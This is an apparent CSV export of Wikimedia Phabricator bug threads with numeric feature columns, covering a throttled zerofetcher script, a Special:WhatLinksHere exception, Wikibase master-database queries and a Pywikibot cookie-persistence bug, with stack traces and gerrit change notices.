+521432,zerofetcher in production is getting throttled for API logins,"No, the zerofetcher is just a custom script that runs on the caches and fetches zero-rating metadata from the zero portal periodically, to feed it to varnish for X-CS/X-F-B processing of real requests. ",,,1441407947,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+521312,zerofetcher in production is getting throttled for API logins,Is this proxying requests for external clients? If so they should probably be added to the list of legitimate proxies sending X-Forwarded-For headers.,,,1441396305,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0
+521302,zerofetcher in production is getting throttled for API logins,"Change 236080 merged by BBlack:
+Disable zerofetcher on text caches T111045
+
+[[https://gerrit.wikimedia.org/r/236080]]",,,1441395618,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+521301,zerofetcher in production is getting throttled for API logins,"Change 236080 had a related patch set uploaded (by BBlack):
+Disable zerofetcher on text caches T111045
+
+[[https://gerrit.wikimedia.org/r/236080]]
+",,,1441395527,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+110878,"Special:WhatLinksHere with ""Media"" namespace URLs throws an exception (HTTP 500)","URLs of the form Special:WhatLinksHere/Media:Shellfish.jpg fail with the following error:
+
+```
+Original exception: [2e097b64] /wiki/index.php/Special:WhatLinksHere/Media:Shellfish.jpg MWException from line 56 of C:\Users\Alan\Documents\Programming\MediaWiki\core\includes\MWNamespace.php: MWNamespace::getTalk does not make any sense for given namespace -2
+Backtrace:
+#0 C:\Users\Alan\Documents\Programming\MediaWiki\core\includes\MWNamespace.php(109): MWNamespace::isMethodValidFor(integer, string)
+#1 C:\Users\Alan\Documents\Programming\MediaWiki\core\includes\Title.php(1332): MWNamespace::getTalk(integer)
+#2 C:\Users\Alan\Documents\Programming\MediaWiki\core\includes\skins\Skin.php(247): Title->getTalkPage()
+#3 C:\Users\Alan\Documents\Programming\MediaWiki\core\includes\skins\Skin.php(172): Skin->preloadExistence()
+#4 C:\Users\Alan\Documents\Programming\MediaWiki\Vector\SkinVector.php(47): Skin->initPage(OutputPage)
+#5 C:\Users\Alan\Documents\Programming\MediaWiki\core\includes\skins\SkinTemplate.php(233): SkinVector->initPage(OutputPage)
+#6 C:\Users\Alan\Documents\Programming\MediaWiki\core\includes\OutputPage.php(2318): SkinTemplate->outputPage()
+#7 C:\Users\Alan\Documents\Programming\MediaWiki\core\includes\MediaWiki.php(685): OutputPage->output()
+#8 C:\Users\Alan\Documents\Programming\MediaWiki\core\includes\MediaWiki.php(474): MediaWiki->main()
+#9 C:\Users\Alan\Documents\Programming\MediaWiki\core\index.php(41): MediaWiki->run()
+#10 {main}
+```
+
+Was fixed in rSVN103450 (November 2011) but has regressed.
+
+What is interesting is that on WMF sites, this doesn't show the usual ""Wikimedia Foundation error"" page, but instead shows a quasi-plain text response of a kind that I have never seen before: https://www.mediawiki.org/wiki/Special:WhatLinksHere/Media:Wiki.png The HTML source of the returned page is exactly the following:
+
+```
+MediaWiki internal error.<br />
+<br />
+Exception caught inside exception handler.<br />
+<br />
+Set $wgShowExceptionDetails = true; at the bottom of LocalSettings.php to show detailed debugging information.<br />
+```",Medium,50.0,1441017868,1442540812.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,PHID-USER-sx63fwaih5kjt7bz4u6z,False,PHID-TASK-k2cl36nqtint7t7psyjp,task_description,resolved,True,c3,3,True,True,True,8,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+530019,"Special:WhatLinksHere with ""Media"" namespace URLs throws an exception (HTTP 500)","Change 238775 merged by jenkins-bot:
+Extend Title check in Skin for titles without associated titles
+
+[[https://gerrit.wikimedia.org/r/238775]]",,,1442540356,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k2cl36nqtint7t7psyjp,task_subcomment,,True,c3,3,False,,,11,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+528532,"Special:WhatLinksHere with ""Media"" namespace URLs throws an exception (HTTP 500)","Change 238775 had a related patch set uploaded (by Florianschmidtwelzow):
+Extend Title check in Skin for titles without associated titles
+
+[[https://gerrit.wikimedia.org/r/238775]]
+",,,1442418844,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k2cl36nqtint7t7psyjp,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+110399,WikiPageEntityMetaDataLookup querying DB master on HTTP GET,"This affects page parses and some special pages. Requiring the master DB just for parsing is bad for HA and blocks active/active multi-DC use.
+
+```
+[GET] Expectation (masterConns <= 0) by MediaWiki::main not met:
+[connect to 10.64.32.28 (wikidatawiki)]
+TransactionProfiler.php line 307 calls wfBacktrace()
+TransactionProfiler.php line 146 calls TransactionProfiler->reportExpectationViolated()
+LoadBalancer.php line 545 calls TransactionProfiler->recordConnection()
+DBAccessBase.php line 61 calls LoadBalancer->getConnection()
+WikiPageEntityMetaDataLookup.php line 161 calls DBAccessBase->getConnection()
+WikiPageEntityMetaDataLookup.php line 70 calls Wikibase\Lib\Store\Sql\WikiPageEntityMetaDataLookup->selectRevisionInformationMultiple()
+PrefetchingWikiPageEntityMetaDataAccessor.php line 148 calls Wikibase\Lib\Store\Sql\WikiPageEntityMetaDataLookup->loadRevisionInformation()
+WikiPageEntityRevisionLookup.php line 78 calls Wikibase\Lib\Store\Sql\PrefetchingWikiPageEntityMetaDataAccessor->loadRevisionInformation()
+SpecialWikibaseRepoPage.php line 163 calls Wikibase\Lib\Store\WikiPageEntityRevisionLookup->getEntityRevision()
+SpecialModifyEntity.php line 127 calls Wikibase\Repo\Specials\SpecialWikibaseRepoPage->loadEntity()
+SpecialSetSiteLink.php line 103 calls Wikibase\Repo\Specials\SpecialModifyEntity->prepareArguments()
+SpecialModifyEntity.php line 76 calls Wikibase\Repo\Specials\SpecialSetSiteLink->prepareArguments()
+SpecialPage.php line 384 calls Wikibase\Repo\Specials\SpecialModifyEntity->execute()
+SpecialPageFactory.php line 553 calls SpecialPage->run()
+MediaWiki.php line 249 calls SpecialPageFactory::executePath()
+MediaWiki.php line 683 calls MediaWiki->performRequest()
+MediaWiki.php line 474 calls MediaWiki->main()
+index.php line 41 calls MediaWiki->run()
+index.php line 3 calls include()
+```
+
+```
+Expectation (masterConns <= 0) by MediaWiki::main not met:
+[connect to 10.64.16.144 (wikidatawiki)]
+TransactionProfiler.php line 311 calls wfBacktrace()
+TransactionProfiler.php line 146 calls TransactionProfiler->reportExpectationViolated()
+LoadBalancer.php line 576 calls TransactionProfiler->recordConnection()
+DBAccessBase.php line 61 calls LoadBalancer->getConnection()
+WikiPageEntityMetaDataLookup.php line 160 calls DBAccessBase->getConnection()
+WikiPageEntityMetaDataLookup.php line 69 calls Wikibase\Lib\Store\Sql\WikiPageEntityMetaDataLookup->selectRevisionInformationMultiple()
+PrefetchingWikiPageEntityMetaDataAccessor.php line 193 calls Wikibase\Lib\Store\Sql\WikiPageEntityMetaDataLookup->loadRevisionInformation()
+PrefetchingWikiPageEntityMetaDataAccessor.php line 162 calls Wikibase\Lib\Store\Sql\PrefetchingWikiPageEntityMetaDataAccessor->doFetch()
+WikiPageEntityRevisionLookup.php line 81 calls Wikibase\Lib\Store\Sql\PrefetchingWikiPageEntityMetaDataAccessor->loadRevisionInformation()
+CachingEntityRevisionLookup.php line 149 calls Wikibase\Lib\Store\WikiPageEntityRevisionLookup->getEntityRevision()
+CachingEntityRevisionLookup.php line 132 calls Wikibase\Lib\Store\CachingEntityRevisionLookup->fetchEntityRevision()
+CachingEntityRevisionLookup.php line 149 calls Wikibase\Lib\Store\CachingEntityRevisionLookup->getEntityRevision()
+CachingEntityRevisionLookup.php line 132 calls Wikibase\Lib\Store\CachingEntityRevisionLookup->fetchEntityRevision()
+RevisionBasedEntityLookup.php line 44 calls Wikibase\Lib\Store\CachingEntityRevisionLookup->getEntityRevision()
+RedirectResolvingEntityLookup.php line 51 calls Wikibase\Lib\Store\RevisionBasedEntityLookup->getEntity()
+EntityRetrievingTermLookup.php line 131 calls Wikibase\DataModel\Services\Lookup\RedirectResolvingEntityLookup->getEntity()
+EntityRetrievingTermLookup.php line 116 calls Wikibase\DataModel\Services\Lookup\EntityRetrievingTermLookup->fetchFingerprint()
+EntityRetrievingTermLookup.php line 64 calls Wikibase\DataModel\Services\Lookup\EntityRetrievingTermLookup->getFingerprint()
+UsageTrackingTermLookup.php line 64 calls Wikibase\DataModel\Services\Lookup\EntityRetrievingTermLookup->getLabels()
+LanguageFallbackLabelDescriptionLookup.php line 55 calls Wikibase\Client\Usage\UsageTrackingTermLookup->getLabels()
+WikibaseLuaBindings.php line 138 calls Wikibase\Lib\Store\LanguageFallbackLabelDescriptionLookup->getLabel()
+Scribunto_LuaWikibaseLibrary.php line 364 calls Wikibase\Client\DataAccess\Scribunto\WikibaseLuaBindings->getLabel()
+Engine.php line 407 calls Wikibase\Client\DataAccess\Scribunto\Scribunto_LuaWikibaseLibrary->getLabel()
+- line - calls Scribunto_LuaSandboxCallback->__call()
+Engine.php line 319 calls LuaSandboxFunction->call()
+LuaCommon.php line 243 calls Scribunto_LuaSandboxInterpreter->callFunction()
+LuaCommon.php line 887 calls Scribunto_LuaEngine->executeModule()
+Hooks.php line 121 calls Scribunto_LuaModule->invoke()
+Parser.php line 3347 calls ScribuntoHooks::invokeHook()
+Parser.php line 3082 calls Parser->callParserFunction()
+Preprocessor_Hash.php line 1075 calls Parser->braceSubstitution()
+Parser.php line 3224 calls PPFrame_Hash->expand()
+Preprocessor_Hash.php line 1075 calls Parser->braceSubstitution()
+Parser.php line 2896 calls PPFrame_Hash->expand()
+Parser.php line 1259 calls Parser->replaceVariables()
+Parser.php line 439 calls Parser->internalParse()
+WikitextContent.php line 331 calls Parser->parse()
+AbstractContent.php line 497 calls WikitextContent->fillParserOutput()
+PoolWorkArticleView.php line 140 calls AbstractContent->getParserOutput()
+PoolCounterWork.php line 123 calls PoolWorkArticleView->doWork()
+Article.php line 666 calls PoolCounterWork->execute()
+ViewAction.php line 44 calls Article->view()
+MediaWiki.php line 504 calls ViewAction->show()
+MediaWiki.php line 288 calls MediaWiki->performAction()
+MediaWiki.php line 746 calls MediaWiki->performRequest()
+MediaWiki.php line 520 calls MediaWiki->main()
+index.php line 43 calls MediaWiki->run()
+index.php line 3 calls include()
+```
+Entries in kibana are found via <<+channel:DBPerformance +message:*WikiPageEntityMetaDataLookup*>>",Medium,50.0,1440622979,1477868389.0,PHID-USER-bmbmvb2e5bg6ztcangbq,False,PHID-USER-2mey32xhshfnf7rz7jjn,False,PHID-TASK-hi3k3pbkqqd3kg64brl2,task_description,duplicate,True,c3,3,True,False,False,7,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1
+682157,WikiPageEntityMetaDataLookup querying DB master on HTTP GET,"Editing needs to do conflict detection anyway, since fresh data sent to the client becomes stale while they wait anyway, which has to be solved with conflict detection.
+
+The second case should use slaves too, just like templates/files use slaves, which works fine.",,,1466449659,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-hi3k3pbkqqd3kg64brl2,task_subcomment,,True,c3,3,True,,,50,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+682031,WikiPageEntityMetaDataLookup querying DB master on HTTP GET,"@aaron As Hoo sais, the Special page is for editing the entity. That should not be done based on stale data. Do you have an alternative suggestion? Usually, the data from the slave would be fine, but there is no way to know if it is stale or not, until we ask the master DB. How is this handled for action=edit? 
+
+The second case (access from Lua) should only happen as a fallback, when the entity isn't found in the slave DB. This is probably rare... except when the entity actually doesn't exist, but we can't be sure until we hit the master DB.
+
+But I guess for the second case, it would be OK to fail if the data isn't on the slave DB yet. What do you think, @Hoo?",,,1466442297,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-hi3k3pbkqqd3kg64brl2,task_subcomment,,True,c3,3,True,,,50,True,0,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0
+669024,WikiPageEntityMetaDataLookup querying DB master on HTTP GET,"We load data for editing there, so I'm not entirely sure we want to do that from slaves… :/",,,1464260866,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-hi3k3pbkqqd3kg64brl2,task_subcomment,,True,c3,3,True,,,47,True,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+665494,WikiPageEntityMetaDataLookup querying DB master on HTTP GET,This is now one of the two main remaining causes of warnings in this log.,,,1463691417,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-hi3k3pbkqqd3kg64brl2,task_subcomment,,True,c3,3,True,,,46,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+515328,WikiPageEntityMetaDataLookup querying DB master on HTTP GET,This is probably related to T108841 and T108929 is the specific task to fix WikiPageEntityMetaDataLookup.,,,1440624045,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-hi3k3pbkqqd3kg64brl2,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+110354,Login credentials are not kept between runs,"I run ""pwb.py login -all"", and everything seems ok:
+
+>>pwb.py login -all
+Password for user MalafayaBot on wiktionary:el (no characters will be shown)
+Logging in to wiktionary:el as MalafayaBot
+Logged in on wiktionary:el as MalafayaBot.
+Logged in on wiktionary:en as MalafayaBot.
+Logged in on wiktionary:zh as MalafayaBot.
+Logged in on wiktionary:ca as MalafayaBot.
+Logged in on wiktionary:vo as MalafayaBot.
+Logged in on wiktionary:io as MalafayaBot.
+Logged in on wiktionary:ia as MalafayaBot.
+Logged in on wiktionary:gl as MalafayaBot.
+Logged in on wiktionary:es as MalafayaBot.
+Logged in on wiktionary:az as MalafayaBot.
+Logged in on wiktionary:nl as MalafayaBot.
+Logged in on wiktionary:nn as MalafayaBot.
+Logged in on wiktionary:no as MalafayaBot.
+Logged in on wiktionary:tr as MalafayaBot.
+Logged in on wiktionary:li as MalafayaBot.
+Logged in on wiktionary:lt as MalafayaBot.
+Logged in on wiktionary:vec as MalafayaBot.
+Logged in on wiktionary:ro as MalafayaBot.
+Logged in on wiktionary:is as MalafayaBot.
+Logged in on wiktionary:fr as MalafayaBot.
+Logged in on wiktionary:bg as MalafayaBot.
+Logged in on wiktionary:uk as MalafayaBot.
+Logged in on wiktionary:de as MalafayaBot.
+Logged in on wiktionary:mg as MalafayaBot.
+Logged in on wiktionary:da as MalafayaBot.
+Logged in on wiktionary:br as MalafayaBot.
+Logged in on wiktionary:bs as MalafayaBot.
+Logged in on wiktionary:fi as MalafayaBot.
+Logged in on wiktionary:hu as MalafayaBot.
+Logged in on wiktionary:ka as MalafayaBot.
+Logged in on wiktionary:pt as MalafayaBot.
+Logged in on wiktionary:oc as MalafayaBot.
+Logged in on wiktionary:sv as MalafayaBot.
+Logged in on wiktionary:ku as MalafayaBot.
+Logged in on wiktionary:nds as MalafayaBot.
+
+First odd thing: file pywikibot.lwp has been changed but it's contents is simply one line:
+ #LWP-Cookies-2.0
+
+I then run interwiki for example:
+
+>>pwb.py interwiki pt:Categoria:Arquitetura
+Password for user MalafayaBot on wiktionary:pt (no characters will be shown):
+Logging in to wiktionary:pt as MalafayaBot
+Retrieving 1 pages from wiktionary:pt.
+[[pt:Categoria:Arquitetura]]: [[pt:Categoria:Arquitetura]] gives new interwiki [
+[ast:Categoría:Arquitectura]]
+[[pt:Categoria:Arquitetura]]: [[pt:Categoria:Arquitetura]] gives new interwiki [
+[az:Kateqoriya:Memarlıq]]
+[......]
+
+Again, it asked for credentials. For each new run, I have to enter credentials.
+
+If you intend to reproduce this issue, it's probably best to delete your pywikibot.lwp file first.",Medium,50.0,1440607146,1440642687.0,PHID-USER-maceogqtxg4qfaefx7wd,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-2q5az2skof67wxc6rxji,task_description,resolved,True,c3,3,False,False,True,7,True,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1
+515503,Login credentials are not kept between runs,"Change 234170 merged by jenkins-bot:
+Set Session.cookies
+
+[[https://gerrit.wikimedia.org/r/234170]]",,,1440637469,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2q5az2skof67wxc6rxji,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+515501,Login credentials are not kept between runs,"Change 234016 abandoned by XZise:
+Revert ""Add OAuth support for Pywikibot""
+
+Reason:
+Revert is not necessary anymore as I25119aaf fixed the issue.
+
+[[https://gerrit.wikimedia.org/r/234016]]",,,1440637440,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2q5az2skof67wxc6rxji,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+515500,Login credentials are not kept between runs,"Change 234017 abandoned by XZise:
+Partially revert ""Add OAuth support for Pywikibot""
+
+Reason:
+Revert is not necessary anymore as I25119aaf fixed the issue.
+
+[[https://gerrit.wikimedia.org/r/234017]]",,,1440637416,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2q5az2skof67wxc6rxji,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+515444,Login credentials are not kept between runs,"Output of pwb.py version, if still relevant (did not update to latest version as of now):
+
+>pwb.py version
+Pywikibot: [https] r-pywikibot-core.git (900490b, g6261, 2015/08/26, 11:32:07,
+UTDATED)
+Release version: 2.0b3
+requests version: 2.7.0
+  cacerts: C:\Program Files\Python\lib\site-packages\requests\cacert.pem
+    certificate test: ok
+Python: 2.7.10 (default, May 23 2015, 09:40:32) [MSC v.1500 32 bit (Intel)]
+PYWIKIBOT2_DIR: Not set
+PYWIKIBOT2_DIR_PWB: D:\Work\pywikipedia
+PYWIKIBOT2_NO_USER_CONFIG: Not set
+Config base dir: D:\Work\pywikipedia
+Usernames for family ""wiktionary"":
+        el: MalafayaBot (no sysop configured)
+        en: MalafayaBot (no sysop configured)
+        zh: MalafayaBot (no sysop configured)
+        ca: MalafayaBot (no sysop configured)
+        vo: MalafayaBot (no sysop configured)
+        io: MalafayaBot (no sysop configured)
+        ia: MalafayaBot (no sysop configured)
+        gl: MalafayaBot (no sysop configured)
+        es: MalafayaBot (no sysop configured)
+        az: MalafayaBot (no sysop configured)
+        nl: MalafayaBot (no sysop configured)
+        nn: MalafayaBot (no sysop configured)
+        no: MalafayaBot (no sysop configured)
+        tr: MalafayaBot (no sysop configured)
+        li: MalafayaBot (no sysop configured)
+        lt: MalafayaBot (no sysop configured)
+        vec: MalafayaBot (no sysop configured)
+        ro: MalafayaBot (no sysop configured)
+        is: MalafayaBot (no sysop configured)
+        fr: MalafayaBot (no sysop configured)
+        bg: MalafayaBot (no sysop configured)
+        uk: MalafayaBot (no sysop configured)
+        de: MalafayaBot (no sysop configured)
+        mg: MalafayaBot (no sysop configured)
+        da: MalafayaBot (no sysop configured)
+        br: MalafayaBot (no sysop configured)
+        bs: MalafayaBot (no sysop configured)
+        fi: MalafayaBot (no sysop configured)
+        hu: MalafayaBot (no sysop configured)
+        ka: MalafayaBot (no sysop configured)
+        pt: MalafayaBot (no sysop configured)
+        oc: MalafayaBot (no sysop configured)
+        sv: MalafayaBot (no sysop configured)
+        ku: MalafayaBot (no sysop configured)
+        nds: MalafayaBot (no sysop configured)
+
+",,,1440633395,,PHID-USER-maceogqtxg4qfaefx7wd,False,,,PHID-TASK-2q5az2skof67wxc6rxji,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1
+515393,Login credentials are not kept between runs,"Change 234170 had a related patch set uploaded (by John Vandenberg):
+Set Session.cookies
+
+[[https://gerrit.wikimedia.org/r/234170]]
+",,,1440629866,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2q5az2skof67wxc6rxji,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+515102,Login credentials are not kept between runs,"Change 234017 had a related patch set uploaded (by Merlijn van Deen):
+Partially revert ""Add OAuth support for Pywikibot""
+
+[[https://gerrit.wikimedia.org/r/234017]]
+",,,1440610369,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2q5az2skof67wxc6rxji,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+515097,Login credentials are not kept between runs,"Change 234016 had a related patch set uploaded (by Merlijn van Deen):
+Revert ""Add OAuth support for Pywikibot""
+
+[[https://gerrit.wikimedia.org/r/234016]]
+",,,1440610011,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2q5az2skof67wxc6rxji,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+515095,Login credentials are not kept between runs,Bisection indicates this recession was introduced in 8624ddec140253ec46e0f39c1f5bdb05184840ff (Add OAuth support for Pywikibot).,,,1440609900,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-2q5az2skof67wxc6rxji,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+515094,Login credentials are not kept between runs,What's the output of pwb.py version?,,,1440609696,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-2q5az2skof67wxc6rxji,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0
